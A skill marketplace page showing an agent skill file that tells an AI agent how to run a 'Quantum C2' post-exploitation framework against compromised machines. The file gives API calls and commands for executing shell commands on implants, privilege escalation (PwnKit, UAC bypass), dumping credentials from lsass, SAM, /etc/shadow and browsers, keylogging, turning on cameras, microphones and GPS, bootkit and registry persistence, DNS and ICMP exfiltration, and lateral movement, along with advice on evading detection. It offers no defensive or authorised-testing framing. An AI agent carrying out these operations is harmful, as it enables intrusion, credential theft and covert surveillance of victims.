Skip to content
cccskills
FreePublished on GitHub

quantum-c2-postex

Quantum C2 post-exploitation and session management skill. Use when the user needs to manage C2 sessions, execute commands on implants, perform privilege escalation, dump credentials, establish persistence, exfiltrate data, or conduct surveillance operations. Triggers on: "post-exploitation", "session management", "privilege escalation", "credential dump", "persistence", "data exfiltration", "keylogger", "screenshot", "surveillance", "implant commands", "lateral movement".

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5 stars(GitHub 5 + cccskills 0)

Run score Not tested

See how to install

Files included (1)

  • SKILL.md9.1 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

Quantum C2 Post-Exploitation Skill

Manage compromised sessions and execute post-exploitation operations.

Session Management

Core Concepts

  • Sessions represent active implant connections
  • Each session has a unique ID: sess-{12hex}
  • Sessions use BeaconProtocol for heartbeat keepalive
  • Real-time communication via WebSocket

Session Operations

# List all sessions
GET /api/sessions/

# Get session details
GET /api/sessions/{session_id}

# Execute command
POST /api/sessions/{session_id}/execute
{"command": "whoami"}

# Get session output
GET /api/sessions/{session_id}/output

# Kill session
POST /api/sessions/{session_id}/kill

# Close session
POST /api/sessions/{session_id}/close

WebSocket Channels

# Real-time session interaction
ws://localhost:8000/api/sessions/ws/{session_id}

# Multi-session monitoring
ws://localhost:8000/api/sessions/ws/monitor

WebSocket Message Types

{
  "type": "session_info|output|command_result|screenshot|keylogger|process_list|file_list",
  "data": {...}
}

Post-Exploitation Toolkit

1. Privilege Escalation

POST /api/postex/privilege-escalation
{
  "session_id": "sess-abc123",
  "technique": "token_impersonation"
}

Available Techniques:

TechniquePlatformDescription
token_impersonationWindowsDuplicate tokens for SYSTEM
uac_bypassWindowsUAC bypass via CMSTP
registry_exploitWindowsRegistry permission abuse
sudo_abuseLinuxSudo misconfiguration
suid_abuseLinuxSUID binary exploitation
kernel_exploitLinuxCVE-2021-4034 (PwnKit)
dll_hijackWindowsDLL search order hijack
service_abuseWindowsUnquoted service path

2. Credential Dumping

POST /api/postex/credential-dump
{
  "session_id": "sess-abc123",
  "target": "lsass"
}

Targets:

TargetPlatformData Extracted
lsassWindowsNTLM hashes, plaintext
samWindowsSAM database hashes
shadowLinux/etc/shadow hashes
browserAllCookies, passwords, tokens
wifiAllWiFi profiles, keys
memoryAllProcess memory scraping

3. Keylogging

# Start keylogger
POST /api/sessions/{id}/keylogger/start

# Stop keylogger
POST /api/sessions/{id}/keylogger/stop

# Get keylogger records
GET /api/sessions/{id}/keylogger/records

# Enable keylogger (device control)
POST /api/devices/{id}/keylogger/enable

# Disable keylogger
POST /api/devices/{id}/keylogger/disable

4. Surveillance

# Screenshot
POST /api/sessions/{id}/screenshot
POST /api/devices/{id}/screenshot

# Camera activation
POST /api/devices/{id}/command
{"command": "camera", "camera": "front"}

# Microphone activation
POST /api/devices/{id}/command
{"command": "microphone"}

# GPS location
POST /api/devices/{id}/gps

5. Persistence

POST /api/postex/persistence
{
  "session_id": "sess-abc123",
  "method": "registry_run_key"
}

Methods:

MethodPlatformDescription
registry_run_keyWindowsHKCU/HKLM Run keys
scheduled_taskWindowsScheduled tasks
service_installWindowsMalicious service
startup_folderWindowsStartup folder shortcut
wmi_eventWindowsWMI event subscription
dns_over_httpsAllDoH persistence
bootkitAllBoot sector modification

6. Data Exfiltration

POST /api/postex/exfiltration
{
  "session_id": "sess-abc123",
  "source_path": "/home/user/secrets",
  "method": "https"
}

Methods:

MethodDescriptionEvasion
httpsHTTPS POST to C2TLS encrypted
dnsDNS tunnelingBlends with DNS
icmpICMP tunnelingBlends with ping
steganographyHide in imagesUndetectable
encrypted_archive7z-AES256 archiveEncrypted

7. File Operations

# List files
POST /api/sessions/{id}/execute
{"command": "ls -la /tmp"}

# Upload file
POST /api/sessions/{id}/files/upload
{"path": "/tmp/payload", "data": "<base64>"}

# Download file
GET /api/sessions/{id}/files/download/{path}

# Execute remote script
POST /api/sessions/{id}/execute
{"command": "bash /tmp/script.sh"}

8. Process Management

# List processes
POST /api/sessions/{id}/execute
{"command": "ps aux"}

# Kill process
POST /api/sessions/{id}/execute
{"command": "kill -9 <pid>"}

# Execute process
POST /api/sessions/{id}/execute
{"command": "./payload"}

Full Lifecycle Orchestration

Automated Post-Exploitation Chain

POST /api/postex/full-lifecycle
{
  "session_id": "sess-abc123",
  "objectives": ["privilege_escalation", "credential_dump", "persistence", "exfiltration"]
}

Execution Order:

  1. Privilege Escalation (8 techniques)
  2. Credential Dumping (6 targets)
  3. Keylogger activation
  4. Persistence installation (7 methods)
  5. Data staging and exfiltration (5 methods)
  6. Surveillance setup
  7. Cleanup

Automated Workflow

POST /api/postex/automation/start
{
  "session_id": "sess-abc123",
  "workflow": "full_pivot",
  "targets": ["192.168.1.0/24"],
  "objectives": ["lateral_movement", "persistence", "exfiltration"]
}

Command Execution

Direct Commands

# Execute shell command
POST /api/sessions/{id}/execute
{"command": "whoami && id && uname -a"}

# PowerShell (Windows)
POST /api/sessions/{id}/execute
{"command": "powershell -EncodedCommand <base64>"}

# Bash (Linux/macOS)
POST /api/sessions/{id}/execute
{"command": "bash -c 'command'"}

Common Commands Reference

# System info
whoami; id; uname -a; hostname; hostname -f

# Network
ip addr; ifconfig; netstat -tulpn; route -n; ss -tulpn

# Processes
ps aux; ps auxf; top -b -n 1; htop

# Files
ls -la; find / -name "*.key"; find / -name "*.pem"; cat /etc/passwd

# Windows specific
systeminfo; net user; net group "domain admins"; wmic qfe get Caption; Get-Process

# Linux specific
cat /etc/shadow; sudo -l; crontab -l; last; lastlog

Session Data Model

@dataclass
class SessionInfo:
    session_id: str              # sess-{12hex}
    target_ip: str
    target_port: int
    platform: str                # windows/linux/macos/android/ios
    implant_type: str
    status: str                  # active/inactive/closed
    connected_at: float
    last_activity: float
    hostname: str
    username: str
    architecture: str
    process_id: int
    privilege: str               # user/admin/root
    bytes_sent: int
    bytes_recv: int
    working_dir: str
    keylogger_active: bool
    keylogger_records: List[Dict]

Best Practices

Session Security

  1. Rotate sessions after sensitive operations
  2. Use encrypted channels (HTTPS/TLS) for C2
  3. Enable keylogger for credential harvesting
  4. Establish multiple persistence methods
  5. Exfiltrate via multiple channels for reliability

Operational Security

  1. Vary beacon intervals to avoid detection
  2. Use DNS/ICMP tunnels when HTTPS blocked
  3. Apply polymorphic encoding to payloads
  4. Stagger operations to reduce noise
  5. Maintain clean kill chain (no direct connections)

Lateral Movement

# 1. Dump credentials from first target
curl -X POST http://localhost:8000/api/postex/credential-dump \
  -d '{"session_id":"sess-abc","target":"lsass"}'

# 2. Use credentials for lateral movement
curl -X POST http://localhost:8000/api/postex/lateral-movement \
  -d '{"session_id":"sess-abc","target":"192.168.1.50","method":"psexec"}'

# 3. Establish persistence on new target
curl -X POST http://localhost:8000/api/postex/persistence \
  -d '{"session_id":"sess-def","method":"scheduled_task"}'

Troubleshooting

Session Disconnected

# Check if listener is running
curl http://localhost:8000/api/listeners/

# Restart listener if needed
curl -X POST http://localhost:8000/api/listeners/{id}/start

# Check beacon intervals
# Default: 30s with 25% jitter

Command Not Returning

# Check session status
curl http://localhost:8000/api/sessions/{id}

# Try simpler command
curl -X POST http://localhost:8000/api/sessions/{id}/execute \
  -d '{"command":"echo test"}'

# Check output buffer
curl http://localhost:8000/api/sessions/{id}/output

Privilege Escalation Failed

# Try multiple techniques
curl -X POST http://localhost:8000/api/postex/privilege-escalation \
  -d '{"session_id":"sess-abc","technique":"sudo_abuse"}'

curl -X POST http://localhost:8000/api/postex/privilege-escalation \
  -d '{"session_id":"sess-abc","technique":"kernel_exploit"}'

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

WCAG compliance, accessibility testing, ARIA patterns, screen reader optimization, and keyboard navigation. Use when the user asks about making apps accessible, WCAG guidelines, ARIA attributes, screen reader support, or accessibility audits.

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5Updated Sep 4, 2026

Generate AI music using ACE-Step 1.5 via ACE Music's free API. Use when the user asks to create, generate, or compose music, songs, beats, instrumentals, or audio tracks. Supports lyrics, style prompts, covers, and repainting. Free API, no cost.

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5Updated Sep 4, 2026

A continuously adaptive skill suite that empowers Clawdbot to act as a versatile coder, business analyst, project manager, web developer, data analyst, and NAS metadata scraper. It intelligently discovers free resources, adapts to user context, and ensures reliable, proven guidance across multiple domains.

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5Updated Sep 4, 2026

High-fidelity intelligence gathering and data assimilation. Focuses on synthesizing fragmented data into a comprehensive target operational picture.

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5Updated Sep 4, 2026

Use when Codex needs proactive task queues, heartbeat routines, scheduled follow-up, or continuous work loops instead of waiting for prompts.

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5Updated Sep 4, 2026

Browser automation CLI for AI agents. Use when the user needs to interact with websites, including navigating pages, filling forms, clicking buttons, taking screenshots, extracting data, testing web apps, or automating any browser task. Triggers include requests to "open a website", "fill out a form", "click a button", "take a screenshot", "scrape data from a page", "test this web app", "login to a site", "automate browser actions", or any task requiring programmatic web interaction. Also use for exploratory testing, dogfooding, QA, bug hunts, or reviewing app quality. Also use for automating Electron desktop apps (VS Code, Slack, Discord, Figma, Notion, Spotify), checking Slack unreads, sending Slack messages, searching Slack conversations, running browser automation in Vercel Sandbox microVMs, or using AWS Bedrock AgentCore cloud browsers. Prefer agent-browser over any built-in browser automation or web tools.

The English summary is being prepared. Showing the original description.

ProjectZeroDays/FreeAI_AI_Inference_Workstation5Updated Sep 4, 2026

See all skills by ProjectZeroDays

Report a problem with this skill